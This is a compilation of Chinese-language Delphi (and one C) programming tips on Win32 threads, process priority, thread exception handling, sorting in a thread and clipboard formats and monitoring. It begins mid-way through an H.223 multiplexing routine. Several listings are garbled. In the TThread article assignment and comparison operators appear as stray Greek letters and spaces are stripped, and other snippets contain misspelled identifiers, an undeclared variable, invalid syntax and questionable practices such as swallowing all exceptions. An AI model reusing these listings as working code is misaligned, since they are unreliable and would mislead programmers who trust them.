goto beg2;
}
if (status) {
r_mux_buf[ status ]
= '\0';
if( r_mux_buf_filled == 1 )
r_mux_buf_overwrite =
1;
else
r_mux_buf_filled = 1;
r_mux_buf_length =
status;
}
else {
MessageBox( hWnd, "Connection broken", "Error",
MB_OK);
SendMessage( ptp->hWnd,
WM_COMMAND,
IDM_DISCONNECT,NULL);
return (2);
}
demux();
}/* while (forever) */
return
(0);
}
//语音编解码线程
DWORD WINAPI G723Proc(G7231DATA
*data){
int i,len;
Audio_tx_pduad_tx_pdu;

unsigned char mux[MAX_MUX_PDU_SIZE];
do {
len =
0;
//检测本地有无语音，图象码流要传输
i =
DetectAudioVideoData();
switch(i){
case AUDIO_ONLY:
//只有语音码流
AL2_CRC_coder(&ad_tx_sdu,&ad_tx_pdu);
//H.223打包
len
= AL2_To_MUX(&ad_tx_pdu, mux);
break;
case
VIDEO_ONLY://只有图象码流
SDU_To_PDU(&vd_tx_sdu,&vd_tx_pdu);
tx_AL3_I_PDU(&vd_tx_pdu
,&bs , 1);
//H.223打包
len =
AL3_To_MUX(&vd_tx_pdu,mux);
break;
case
AUDIO_VIDEO://语音和图象码流
AL2_CRC_coder(&ad_tx_sdu,&ad_tx_pdu);
SDU_To_PDU(&vd_tx_sdu,&vd_tx_pdu);
tx_AL3_I_PDU(&vd_tx_pdu
,&bs , 1);
//H.223打包
len =
AL2_AL3_To_MUX(&ad_tx_pdu,&vd_tx_pdu,mux);
break;
case
NO_AUDIO_VIDEO://此刻无码流要传输

break;
}
//TCP/IP发送码流
if(len !=
0)
send((SOCKET)sock,mux,len,0);
//是否接收到待解码的码流，有就调用解码器
PutVideoStreamToDecod();
}
while(1);
return (0);
}


编程时利用线程

用Delphi 编 程 时 如 何 利 用 线 程
重 庆 邮 电 学 院 计 算 机 系 综 合 微 机 室
马 英 杰
---- Windows 95 是Microsoft 公 司 的 第 一 个 真 正 的 多 任 务 操 作 系 统。 在 每 一 时 刻 可 以
有 多 个 进 程 同 时 工 作， 而 每 一 个 进 程 又 包 含 有 多 个 线 程。 但 只 有 一 个 处 理
器 的 计 算 机 不 可 能 真 正 地“ 同 时” 执 行 多 个 线 程， 而 是 操 作 系 统 把 时 间 分 成
若 干 个 时 间 片， 然 后 把 一 个 个 时 间 片 分 配 给 每 一 个 线 程。

---- 一 个 执 行 了 的 程 序 就 是 一 个 进 程， 一 个 进 程 则 至 少 有 一 个 主 线 程。 一 位
高 级 程 序 员， 绝 不 会 让 自 己 的 程 序 里 面 只 有 一 个 主 线 程 存 在（ 除 非 只 有 很
少 的 几 十 行 代 码）， 而 是 尽 量 让 自 己 的 程 序 在 同 一 时 刻 里 干 更 多 的 事， 在
比 较 大 一 点 的 应 用 中 尤 其 如 此， 象 数 据 库 应 用 程 序， 在 统 计 的 时 候 我 还 想
做 其 他 事 呢 ！ 因 此， 如 何 有 效 地 利 用 线 程 则 是 每 一 个 程 序 员 都 应 了 解 的。
本 文 就 此 简 单 地 谈 一 下 在Delphi 中 如 何 利 用 线 程。

---- ( 一) 当 使 用 线 程 时， 我 们 主 要 有 两 个 任 务：

---- （1） 创 建 一 个 线 程。

---- （2） 创 建 一 个 能 作 为 线 程 入 口 的 函 数。

---- Windows API 调 用CreateThread 函 数 来 创 建 一 个 线 程。 函 数 如 下：

HANDLE CreateThread(LPSECURITY_
ATTRIBUTES lpThreadAttributes,
//线程安全属性地址
DWORD dwStackSize,
//初始化线程堆栈尺寸
LPTHREAD_START_ROUTINE lpStartAddress,
//线程函数所指向的地址
LPVOID lpParameter,
//给线程函数传递的参数
DWORD dwCreationFlags,
//有关线程的标志
LPDWORD lpThreadId
//系统分配给线程的ID
);
---- 第 一 个 参 数 是 安 全 属 性， 一 般 设 为nil， 使 用 缺 省 的 安 全 属 性。 当 我 们 想 此
线 程 有 另 外 的 子 进 程 时， 可 改 变 它 的 属 性。

---- 第 二 个 参 数 是 线 程 堆 栈 尺 寸， 一 般 设 为0， 表 示 与 此 应 用 的 堆 栈 尺 寸 相
同， 即 主 线 程 与 创 建 的 线 程 一 样 长 度 的 堆 栈。 并 且 其 长 度 会 根 据 需 要 自 动
变 长。

---- 第 三 个 参 数， 也 是 最 重 要 的 一 个， 是 一 个 指 向 函 数 名 的 指 针， 但 传 递 时
很 简 单， 只 需 在 线 程 函 数 名 前 加 上@ 就 可 以 了。

---- 第 四 个 参 数 是 你 需 要 向 线 程 函 数 传 递 的 参 数， 一 般 是 一 个 指 向 结 构 的 指
针。 不 需 传 递 参 数 时， 则 这 个 参 数 设 为nil。

---- 第 五 个 参 数， 传 入 与 线 程 有 关 的 一 些 标 志， 如 果 是CREATE_SUSPENDED, 则 创 建
一 个 挂 起 的 线 程， 即 这 个 线 程 本 身 已 创 建， 它 的 堆 栈 也 已 创 建。 但 这 个 线
程 不 会 被 分 配 给CPU 时 间， 只 有 当ResumeThread 函 数 被 调 用 后 才 能 执 行； 当 然，
也 可 以 调 用SuspendThread 函 数 再 次 挂 起 线 程。 要 是 标 志 为0， 那 么 一 旦 建 立 线
程， 线 程 函 数 就 被 立 即 调 用。 一 般 传 为0 即 可。

---- 最 后 一 个 参 数 是 系 统 分 配 给 这 个 线 程 的 唯 一 的ID 标 志。

---- 下 面 这 个 程 序MyThreadPro.pas 介 绍 了 线 程 如 何 建 立 及 使 用：

//Your first test Thread Program.
unit MyThreadPro;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
UsedThread: TButton;
NoUsedThread: TButton;
procedure UsedThreadClick(Sender: TObject);
procedure NoUsedThreadClick(Sender: TObject);
var
Form1: TForm1;
implementation
{$R *.DFM}
//这是线程函数，
它可以放在下面程序的任何地方
function MyThreadFunc(P:pointer):Longint;stdcall;
var
i:integer;
DC:HDC;
S:string;
begin
DC:=GetDC(Form1.Handle);
for i:=0 to 100000 do begin
S:=Inttostr(i);
Textout(DC,10,10,Pchar(S),length(S));
end;
ReleaseDC(Form1.Handle,DC);
end;
procedure TForm1.UsedThreadClick(Sender: TObject);
var
hThread:Thandle;//定义一个句柄
ThreadID:DWord;
begin
//创建线程，同时线程函数被调用
hthread:=CreateThread(nil,0,@MyThreadfunc,nil,0,ThreadID);
if hThread=0 then
messagebox(Handle,'Didn’t Create a Thread',nil,MB_OK);
end;
procedure TForm1.NoUsedThreadClick(Sender: TObject);
begin
MyThreadfunc(nil);
//没有创建线程时，直接调用线程函数
end;
end.
---- 上 面 这 个 程 序 介 绍 了 我 们 在 使 用 线 程 及 未 使 用 线 程 二 种 情 况 下， 运 行 该
程 序 的 反 应。 当 点UsedThread 按 钮 时， 则 建 立 一 个 线 程， 这 时 我 们 可 以 在 程 序
进 行 计 算 的 同 时， 改 变 窗 体 的 尺 寸 及 移 动 它。 当 按 下NoUsedThread 按 钮 时， 不
建 立 线 程， 我 们 会 发 现 在 程 序 没 有 计 算 完 之 前 根 本 不 能 做 其 它 任 何 事 情 ！
此 程 序 在 基 于Windows 95 的Delphi 3 中 运 行 通 过。


多线程程序设计

梁毅 李韬

    我们知道，win95或winNT都是“多线程”的操作系统，在DELPHI2．0中，我们可以充分利用这一特性，
编写出“多线程”的应用程序。

    对以往在DOS或16位windows下写程序的人来说，“多线程”仍然是陌生的，但如同以前我们从DOS下的单
任务过渡到windows3．1下的多任务，如今我们又必须过渡到“多线程”领域，毕竟计算机时代是在不断发展
的。不过，幸运的是，在DELPHI2．0下进行多线程程序设计并不需要我们去学习庞大的WIN32API函数，我们
可以利用DELPHI下标准的多线程类TThread来完成我们的工作。

    TThread是一个abstract（抽象）类，也就是说，并不需要根据TThread来声明变量（而且根据TThread声
明的变量也是完全无用），我们要做的是把TThread作为基类，用继承的形式来生成子类。实际上，根据
TThread来写多线程应用程序是非常容易的。

    下面就是一个基本的继承TThread生成的多线程类。

    QuerThrd．Pas

    unitQuerThrd；

    interface

    uses

    Classes，DBTables；

    type

    TQueryThreadΚclass（TThread）

    private

    fQuery：tQuery；

    protected

    procedureExecute；override；

    public

    constructorCreate（Suspended：Boolean；Query：

TQuery）；

    end；

    implementation

    constructor

    TQueryThread．Create（Suspended：Boolean；Quer
y：TQuery）；

    begin

    inheritedCreate（Suspended）；

    fQuery：ΚQuery；

    FreeOnTerminate：ΚTrue；

    end；

    procedureTQueryThread．Execute；

    begin

    fQuery．Open；

    end；

    end．

    在上面这个简单的例子中，我们构造了一个TThread的子类TQueryThread，用于在后台执行数据库查
询。在该类的Create函数中，传递了两个参数Suspended和Query，其中Suspended用于控制线程的运行，如果
Suspend为真，TQueryThread类的线程在建立后将立即被悬挂，一直到运行了Resume方法，该线程才会继续执

行，Query参数用于接受一个已经存在的Query控件（在窗体中真正的Query控件）而使它在多线程的情况下运
行。Execute是最重要的过程，它是类TQueryThread的执行部分，所有需要在这个多线程类中运行的语句都必
须写在这个过程里。

    实际上构造自己的多线程类时，并不需要输入所有的这些代码，选择DELPHI的File菜单下的new选项，再
选“TThreadObject”项目，DELPHI就会为你构造基本的程序模块。然后我们可以根据需要再做相应的修改。

    进程的执行：

    假设我们已经建立了一个窗体FORM1，窗体中有我们将要使用的查询控件Query1。那么我们在该单元的

USES部分加入上面写的QuerThrd单元。

    procedureTForm1．Button1Click（Sender：TObject）；

    begin

    ｛建立一个运行的进程｝

    TQueryThread．Create（False，Query1）；

    end；

    如果这个过程被执行，那么窗体中的查询控件Query1就会自动在多线程的环境下运行查询。注意
TQueryThread类中只有Create而没有Free，动态建立类以后又忘记删除是我们常犯的错误之一，不过在这里
由于我们指定了FreeOnTerminate（运行完即删除）为真，所以当Execute里的语句执行完后，TQueryThread
类占据的内存控件将被自动释放。

    然而还有一个问题值得我们注意，由于同一时刻可以有多个线程同时运行，那么我们还必须解决好同步

的问题，如果几个多线程程序之间没有任何关联，那么它们之间也不会有任何冲突。但实际上，可能同时运
行几个多线程的数据库应用程序，由于需要共享相同的数据库资源，我们还需要为Query1增加一个Tsession
控件。

    其实，虽然我们也许没有亲自使用过Session控件，但实际上，在所有的数据库访问时DELPHI都会自动建
立一个临时的Session控件，使用完后又动态地删除掉它。在平常的数据库编程时，用不着我们亲自来操作，
但在数据库多线程执行的情况下，为了不相互冲突，我们必须为每个数据库访问都定制自己的Session控件。

这个步骤非常简单，我们只需要在窗体中增加一个Session控件，然后给它的属性“Sessionname”写一个任
意的名字，并再在Query1的“Sessionname”中写一个相同的名字。这样我们的数据库程序就安全了。

    另一类需要解决同步问题的是那些对VCL资源进行操作的程序，这类的程序非常多，好在解决的方法也非
常简单。

    我们可以看下面这样一个程序：

    unitBncThrd；

    interface

    uses

    WinProcs，Classes，Graphics，ExtCtrls；

    type

    TBounceThreadΚclass（TThread）

    private

    FShape：TShape；

    FXSpeed：Integer；

    FYSpeed：Integer；

    procedureMoveShape；

    protected

    procedureExecute；override；

    public

    constructorCreate（Suspended：Boolean；Shape：TShape；XSpeed，YSpeed：Integer）；

    propertyShape：TShapereadFShape；

    end；

    implementation

    procedureTBouad．MoveShape；

    var

    MaxHeight，MaxWidth：Integer；

    begin

    withFShapedo

    begin

    Left：ΚLeft＋FXSpeed；

    Top：ΚTop＋FYSpeed；

    if（LeftΙ0）or

    （Left＋WidthΛParent．Width）then

    FXSpeed：ΚFXSpeed＊－1；

    if（TopΙ0）or

    （Top＋HeightΛParent．Height）then

    FYSpeed：ΚFYSpeed＊－1；

    end；

    end；

    procedureTBounceThread．Execute；

    begin

    WhilenotTerminateddo

    begin

    Synchronize（MoveShape）；

    end；

    end；

    constructorTBounceThread．Create（Suspended：Boolean；Shape：TShape；XSpeed，YSpeed：
Integer）；

    begin

    inheritedCreate（Suspended）；

    FShape：ΚShape；

    FXSpeed：ΚXSpeed；｛X轴走向的速度｝

    FYSpeed：ΚYSpeed；｛Y轴走向的速度｝

    FreeOnTerminate：ΚTrue；

    end；

    end．

    这是一个多线程的碰碰球游戏，你可以有多个不同的球，它们分属不同的线程，各自独立的在屏幕上碰

撞。显然，由于多个球运行的显示会同时操作VCL资源，为了安全，我们在Execute过程中的执行部分加入了
Synchronize（MoveShape）来调用MoveShape过程，实际上，在任何需要操作VCL资源的地方，例如窗体、
位图，都应加入Synchronize调用。

    执行时我们可以新建一个程序，然后在USES部分加入以上的BncThrd单元，再在它的窗体FORM1上加入两
个Shape控件Shape1和Shape2，Shape1可以是一个矩形而Shape2是一个圆。加入以下的代码就可以让矩形和圆
动起来。

    procedureTForm1．Button1Click（Sender：TObject）；

    begin

    TBounceThread．Create（False，Shape1，1，2）；

    TBounceThread．Create（False，Shape2，2，3）；

    end；


提高进程优先级

 procedure TForm1.Button1Click(Sender: TObject);
var
ProcessID : DWORD;
ProcessHandle : THandle;
ThreadHandle : THandle;
begin
ProcessID := GetCurrentProcessID;
ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION,
false,
ProcessID);
SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
ThreadHandle := GetCurrentThread;
SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
end;


在线程里处理Exception

procedure TMyThread.Execute;
begin
try
// Do your thread stuff here
except // Eat all exceptions
end;
end;

Quite often, this isn't the best solution and you will want to show the message to the end user, or allow your application to further process the message.
The easiest way to do this, is to add an Exception object to your TThread class, and call the appropriate handler based on the type of exception. Here is an example of how to do this. The project consists of one form with a Button placed on it:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

  TMyThread = class(TThread)
private
FException: Exception;
procedure
DoHandleException;
protected
procedure Execute;
override;
procedure HandleException; virtual;
public
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TMyThread.DoHandleException;
begin
// Cancel the mouse capture
if GetCapture <> 0 then SendMessage(GetCapture, WM_CANCELMODE, 0, 0);
// Now actually show the exception
if FException is Exception then
Application.ShowException(FException)
else
SysUtils.ShowException(FException, nil);
end;

procedure TMyThread.Execute;
begin
FException := nil;
try
// raise an Exception
raise
Exception.Create('I raised an exception');
except
HandleException;
end;
end;

procedure TMyThread.HandleException;
begin
// This function is virtual so you can override it
// and add your own functionality.
FException := Exception(ExceptObject);
try
// Don't show EAbort messages
if not (FException is EAbort) then
Synchronize(DoHandleException);
finally
FException := nil;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
// Create
an instance of the TMyThread
with TMyThread.Create(True) do
begin
FreeOnTerminate := True;
Resume;
end;
end;

end.


在线程中响应消息

type
TMyThread=class(TThread)
private
FOwner:TControl;
FOwnerProc:TWndMethod;
FMessage:TMessage;
FEvent :TSimpleEvent;
procedure ThreadWndProc(var Message:TMessage);
constructor Create(AOwner:TControl);
destructor Destroy;
protect
procedure Execute;override;
end;
constructor TMyThread.Create(AOwner:TControl);
begin
inherited Create(True);
FOwner:=AOwner;
if Assigned(FOwner) then
begin
FOwenrProc:=AOwner.WindowProc;
FOwner.WindowProc:=ThreadWndProc;
end;
FEvent:=TSimpleEvent.Create;
end;
destroy TMyThread.Destroy;
begin
if Assigned(FOwner) then
FOwner.WindowProc:=FOwnerProc;
FEvent.Free;
inherited Destroy;
end;

procedure TMyThread.ThreadWndProc(var Message:TMessage);
begin
if Message.Msg=WM_DESTROY then
begin
FOwner.WindowProc:=FOwnerProc;
FOwnerProc:=nil;
FOwner:=nil;
end;
if Message.Msg=所要处理的消息 then
begin
FMessage:=Message;
FEvent.SetEvent;
end
else if Assigned(FOwnerProc) then FOwnerProc(Message);
end;
procedure TMyThread.Execute;
begin
while not Terminated do
begin
FEvent.WaitFor(INIFILE);
FEvent.ResetEvent;
....//根据FMessage处理消息
end
end;


在DELPHI中用线程排序

    在数据处理量很大的情况下，如何在数据处理的同时响应用户操作？Windows95/98和WindowsNT作为多线程的多任务操作系统，其调度单元是线程，即线程是系统分配处理器时间资源的基本单元，所以我们可以利用线程实现在处理大批量数据的同时响应用户操作。
    DELPHI作为一个优秀的开发平台，对开发多线程应用程序提供了强有力的支持，即可直接利用32位Windows环境提供的Win32API接口函数CreateThread，也可利用DELPHI中提供的BeginThread函数。在下面例子中，正是使用了DELPHI提供的TThread类。
    一．基本的方法如下：

    1．从Tthread类派生一个新类。(创建TSortThread类)
    2．定义新类的Create方法。
    3．定义新类的Execute方法，并在Execute方法中插入线程运行时执行的代码。
    4．引用类方法创建实例。
    二．例子的详细代码及说明：
    首先，新建一个单元，保存为mysort.pas.在此单元中，我们创建了一个TSortThread类，它从TThread类中继承而来，所以当我们在程序中创建这个类的一个实例时，也就是创建了一个新的线程。
    接着，在该类中定义一个Sort方法，用来对数组进行排序，同时TSortThread类超越了TThread类的构造方法Create和Execute，在execute方法中，调用了对数组进行排序的Sort方法。具体代码如下：

    unitmysort;
interface
usesClasses;//TThread类在Classes中被定义。
type
PSortArray=TSortArray;
TSortArray=array.[0..MaxIntdivSize
Of(Integer)－1]ofInteger;
{此处定义了TsortThread类}
TSortThread=class(TThread)
Private
{在TSortThread类中定义了如下几个私有变元}
FSortArray:PSortArray;
FSize:Integer;
FA,FB,FI,FJ:Integer;
Protected
{类TSortThread超越了类Tthread的Execute方法}
procedure
Execute;override;
{类TsortThread添加了一个Sort方法}
procedure
Sort(varA:arrayofInteger);

    public
{类TSortThread超越了类Tthread的构造方法}
constructorCreate(varSortArray:arrayofInteger);
end;
implementation
constructorTSortThread.Create(varSortArray:arrayofInteger);
begin
FSortArray:=@SortArray;
FSize:=High(SortArray)－Low(SortArray)＋1;
FreeOn
Terminate:=True;
inheritedCreate(False);
end;
{当线程开始时，Execute方法将被调用。}
procedure
TSortThread.Execu
te;
begin
Sort(Slice(FSortArray,FSize));
end;
{下面实现了冒泡法排序}
procedure
TSortThread.Sort(varA:arrayofInteger);

    var
    I,J,T:Integer;
    begin
    for I:=High(A)downto Low(A) do
    for J:=Low(A)to High(A)－1 do
    if A[J]>A[J＋1] then
    begin
    T:=A[J];
    A[J]:=A[J＋1];
    A[J＋1]:=T;
    if Terminated then Exit;
    end;
    end;
    end
    最后，在用户应用程序的implementation处加入usesmysort,在执行排序的地方加入TQuickSortthread.Create(SortArray)，其中SortArray为一实际的数组。这样就可以用线程实现排序，在排序过程中，用户不必等到排序结束就可以执行其它操作。这种用多线程实时响应用户操作方法在涉及大量数据处理的应用程序中显得尤为重要。


停止一个线程？

interface

type
Txyz = class(TThread)
published
procedure Execute; override;
end;

var
XYZThread: Txyz;

implementation

procedure Txyz.Execute;
begin
while True do Application.ProcessMessages;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
XYZThread := Txyz.Create(False);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
XYZThread2.Suspend;
XYZThread2.Free;
end;

end.


使用自定义格式

{ How to copy/paste custom items to/from the clipboard
}

// The TClipboard provides easy clipboard access. But what if you
// want to add (several) custom defined items to the clipboard?

// For all actions is the unit Clipboard required.
uses Clipboard;

// First you have to register your own clipboard format
// This can be done ny a Windows API function (unit ShellAPI)
const
MyClipboardFormatStr = 'MyData';

var
MyClpFormat : integer;

MyClpFormat:=RegisterClipboardFormat(MyClipboardFormatStr);

// The variable SLMClpFormat will contain a unique format handle for
// your own clipboard format.
// Then you can start copy items to the clipboard. You will need a
// function for pointer incrementation which is given here:
procedure IncPointer(var p : Pointer;increment : integer);
begin
p:=PChar(p)+Increment;
end;

// Say you have a data record defined as
type
PMyDataRec = ^TMyDataRec;
TMyDataRec = record
Name : string[50];
Value : integer;
end;
// This will work of course also with other types

// Furthermore let's say the data records are stored in a Listbox
// and shall be copied to a list box.

// Copy like this:
procedure TForm1.CopyItems;
var
i : integer;
dh : THandle;
ic : integer;
p : Pointer;
pi : pInteger;

   begin
ic:=List1.SelCount; { get number of items to be copied }
dh:=GlobalAlloc(GMEM_FIXED or GMEM_ZEROINIT,(SizeOf(TMyDataRec)*ic)+SizeOf(Integer));
{ alloc memory for all items plus for a integer variable
   giving you the number of
copied items }
p:=GlobalLock(dh);    { Lock the allocated
   memory }
pi:=pInteger(p);
pi^:=ic;
    { write number of items to allocated memory }
IncPointer(p,SizeOf(Integer)); { increment the pointer behind
   the written data }
// You don't have to create an instance of clipboard, this is done automatically

     for i:=1 to List1.Items.Count do { check all items if they are
   selected }
begin
if List1.Items[i-1].Selected then
begin
{ This one is selected -> copy it o
   the clipboard }
PMyDataRec(p)^:=PMyDataRec(List1.Items[i-1].Data)^;
{ of course data must point to a TMyDataRec }
IncPointer(p,SizeOf(TMyDataRec));   { increment the pointer
   behind the written data }
end;
end;

   // You have now filled the allocated memory with all items that shall
   be copied.
// Now you can put them to the clipboard
Clipboard.Open;  { Open the clipboard will prevent
   overwriting of so far copied items }
Clipboard.Clear; { Clear the clipboard first }
Clipboard.SetAsHandle(MyClpFormat,Dh);  { Copy to
   clipboard }
Clipboard.Close;  { finally close the clipboard }
GlobalUnlock(dh);
{ and unlock the allocate memory. But don't free it, it will be used
   by the clipboard }

     if ic=0 then
GlobalFree(dh);    { You can free
   it if you haven't copied anything }
end;

// Check first if your items are still available before pasting them from the clipbard

   if Clipboard.HasFormat(MyClpFormat) then
begin
Form1.Paste1.Enabled:=true;   { Yes, they are still
   available }
end;

// And this is, how you paste them after Paste1 is clicked
procedure TMDIForm.Paste1Click(Sender: TObject);
var
dh : THandle;
pdr : PSLMDataRec;
i,ic : integer;
p : Pointer;
pi : pInteger;
li : TListItem;

   begin
if Clipboard.HasFormat(MyClpFormat) then
// We have already checked, but maybe another application has
   overwritten the
// clipboard in between....
begin
ClipBoard.Open;
    { First open the clipboard again }
dh:=Clipboard.GetAsHandle(MyClpFormat); { Catch
   the handle to the stored items }
p:=GlobalLock(dh);  { and lock it }
pi:=pInteger(p);    { The first
   item is an integer giving the number of items }
ic:=pi^;
    { so get the number of items }
IncPointer(p,SizeOf(integer)); { increment the
   pointer behind the read data }
for i:=1 to ic do   { get all copied
   items one after another }
begin
li:=List1.Items.Add;  { first
   create a new listbox item }
pdr:=New(PMyDataRec); { Then create a
   new pointer to a TMyDataRec }
pdr^:=PMyDataRec(p)^; { and fill it
   with data from the clipboard }
IncPointer(p,SizeOf(TSLMDataRec)); {
   increment the pointer behind the written data }

         li.Data:=pdr;  { Set the data
   pointer of the list item to the new record }
LI.Caption:=pdr^.Name;  { Let the
   item display the record field "Name" }

// You can of course add more record fields if the item has subitems:
LI.SubItems.Add(IntTostr(Value));

       end;    { All data retrieved from
   clipboard }
Clipboard.Close;  { Close it }
GlobalUnlock(dh);
{ and unlock the pointer, but don't free it. This will
   be done by the clipboard itself,
if necessary }
end;
end;

问题提出/摘要:

我想使用剪贴板来保存一定格式的数据，但是我只想单独写一套函数来从流(Stream)中输入或者输出数据。用TMemoryStream可能吗？

回答:

这不仅是可能的，而且也这正是Borland实现它的Clipboard.GetComponent和Clipboard.SetComponent的方法。基本上，你需要调用RegisterClipboardFormat()来注册你自己的剪贴板格式。

CF_MYFORMAT := RegisterClipboardFormat('My Format Description');

然后，你将要做以下步骤：

1. 创建一个MemoryStream并写入数据.

2. 创建一个全局内存区(global memory buffer)并将流复制到其中。

3. 调用Clipboard.SetAsHandle()将它放在剪贴板上。

示例:

var

hbuf : THandle;

bufptr : Pointer;

mstream : TMemoryStream;

begin

mstream := TMemoryStream.Create;

try

{-- 将你的数据写入流(Stream) --}

hbuf := GlobalAlloc(GMEM_MOVEABLE, mstream.size);

try

bufptr := GlobalLock(hbuf);

try

Move(mstream.Memory^, bufptr^, mstream.size);

Clipboard.SetAsHandle(CF_MYFORMAT, hbuf);

finally

GlobalUnlock(hbuf);

end;

except

GlobalFree(hbuf);

raise;

end;

finally

mstream.Free;

end;

end;

注意：不要释放你使用GlobalAlloc()分配的缓冲区！一旦你将它放到剪贴板上，就交由剪贴板来释放它。当你取回它时，同样，不要释放它，仅仅是复制它的内容。

要取回流(Stream)和它的数据，做以下代码：

var

hbuf : THandle;

bufptr : Pointer;

mstream : TMemoryStream;

begin

hbuf := Clipboard.GetAsHandle(CF_MYFORMAT);

if hbuf <> 0 then begin

bufptr := GlobalLock(hbuf);

if bufptr <> nil then begin

try

mstream := TMemoryStream.Create;

try

mstream.WriteBuffer(bufptr^, GlobalSize(hbuf));

mstream.Position := 0;

{-- 从流中读取数据 --}

finally

mstream.Free;

end;

finally

GlobalUnlock(hbuf);

end;

end;

end;

end;


复制控件内容到剪贴板

问题提出/摘要:

如何将在其它窗口中取得的控件的内容复制到Windows剪贴板？

回答:

向当前活动(Active)窗口发送一个WM_COPY消息，告诉它将它的内容复制到剪贴板。如果这个控件不支持这个消息，它会忽略它，不会产生任何异常(exception)。

SendMessage(Edit1.handle, WM_COPY, 0, 0);


剪帖板处理流

 Procedure CopyStreamToClipboard( fmt: Cardinal; S: TStream );
Var
hMem: THandle;
pMem: Pointer;
Begin
S.Position := 0;
hMem := GlobalAlloc( GHND or GMEM_DDESHARE, S.Size );
If hMem <> 0 Then Begin
pMem := GlobalLock( hMem );
If pMem <> Nil Then Begin
S.Read( pMem^, S.Size );
S.Position := 0;
GlobalUnlock( hMem );
Clipboard.Open;
try
Clipboard.SetAsHandle( fmt, hMem );
finally
Clipboard.Close;
end;
End { If }
Else Begin
GlobalFree( hMem );
OutOfMemoryError;
End;
End { If }
Else
OutOfMemoryError;
End; { CopyStreamToClipboard }

Procedure CopyStreamFromClipboard( fmt: Cardinal; S: TStream );
Var
hMem: THandle;
pMem: Pointer;
Begin
hMem := Clipboard.GetAsHandle( fmt );
If hMem <> 0 Then Begin
pMem := GlobalLock( hMem );
If pMem <> Nil Then Begin
S.Write( pMem^, GlobalSize( hMem ));
S.Position := 0;
GlobalUnlock( hMem );
End { If }
Else
raise Exception.Create(
'CopyStreamFromClipboard: could not lock global handle '+
'obtained from clipboard!');
End; { If }
End; { CopyStreamFromClipboard }


监视剪贴板内容

Windows使用剪贴板观察器和观察链。剪贴板观察器是一个显示剪贴板当前内容的窗口。通常它应该至少能显示三种普通格式的内容：文字CF_TEXT、位图CF_BITMAP、元文件CF_METAFILEPICT。剪贴板观察链是一系列相互独立的剪贴板观察窗口，它们都能够接受当前发送到剪贴板的内容。我们大致按照以下步骤在窗口中处理有关剪贴板的内容。

---- 首先，使用SetClipboardViewer（HWND）函数向剪贴板观察链中加入一个观察窗口。当剪贴板的内容发生变化时，该窗口会接收到一个WM_DRAWCLIPBOARD消息。该函数需要传递的参数是观察窗口的句柄。返回值也是一个窗口句柄类型，标识了将要加入的下一个窗口。

---- 然后，响应WM_DRAWCLIPBOARD消息处理剪贴板内容的变化。

---- 最后，在程序退出或关闭时需要调用ChangeClipboardChain函数来将自己从观察链中删除。然后调用SendMessage函数把这些消息传递到观察链中的下一个观察窗口。函数ChangeClipboardChain原型如下：

BOOL ChangeClipboardChain(
HWND hWndRemove, //将要删除的窗口的句柄
HWND hWndNewNext //观察链中下一个窗口的句柄
);
---- Delphi的clipbrd.pas单元中定义了一个类TClipboard，它封装了Windows剪贴板，简化了大量复杂的处理过程。我们在程序中可以直接调用全局函数Clipboard，该函数用于返回TClipboard对象实例，使用这个实例对剪贴板进行剪切、复制和粘贴等操作。下面是TClipboard对象的几个常用的方法和属性的简单介绍。

---- 方法：

---- Assign：将指定的对象放入剪贴板中。

---- Open：打开剪贴板，防止其他程序改写剪贴板。在向剪贴板加入多项数据时尤其有用。

---- Close：关闭剪贴板。应该与打开剪贴板成对使用。

---- Clear：清空剪贴板。

---- GetAsHandle：返回剪贴板中指定格式数据的句柄。使用前必须打开剪贴板。

---- GetComponent：返回剪贴板中的一个控件。Delphi自己使用得多。

---- HasFormat：查询剪贴板中是否有指定格式的内容。

---- 属性：

---- AsText：用于读写剪贴板文字内容。

---- FormatCount：读剪贴板中数据格式的种数。

---- Formats：返回剪贴板中各种格式的列表。

---- 此外，Delphi中的许多控件中也封装了有关剪贴板处理的操作。下面的一个处理剪贴板的简单例子，只是将剪贴板的文字内容显示为窗口标题。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
Clipbrd;//加入clipbrd单元

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject;
var Action: TCloseAction);
private
{ Private declarations }
public
NextClipHwnd:HWND;//观察链中下一个窗口句柄
procedure WMDrawClipBoard
(var AMessage:TMessage);
message WM_DRAWCLIPBOARD;
//处理WM_DRAWCLIPBOARD消息过程
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

{ TForm1 }

procedure TForm1.WMDrawClip
Board(var AMessage: TMessage);
begin
//将WM_DRAWCLIPBOARD
消息传递到下一个观察链中的窗口
SendMessage(NextClipHwnd,AMessage.
Msg,AMessage.WParam,AMessage.LParam);
//查询剪贴板中特定格式的数据内容
if (Clipboard.HasFormat(CF_TEXT) or
Clipboard.HasFormat(CF_OEMTEXT)) then
begin
//处理剪贴板中内容
Caption:=Clipboard.asText;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
//获得观察链中下一个窗口句柄
NextClipHwnd:=SetClipBoardViewer(Handle);
end;

procedure TForm1.FormClose
(Sender: TObject; var Action: TCloseAction);
begin
//从观察链中删除本观察窗口
ChangeClipboardChain(Handle,NextClipHwnd);
//将WM_DRAWCLIPBOARD
消息传递到下一个观察链中的窗口
SendMessage(NextClipHwnd,WM_
CHANGECBCHAIN,Handle,NextClipHwnd);
end;

end.
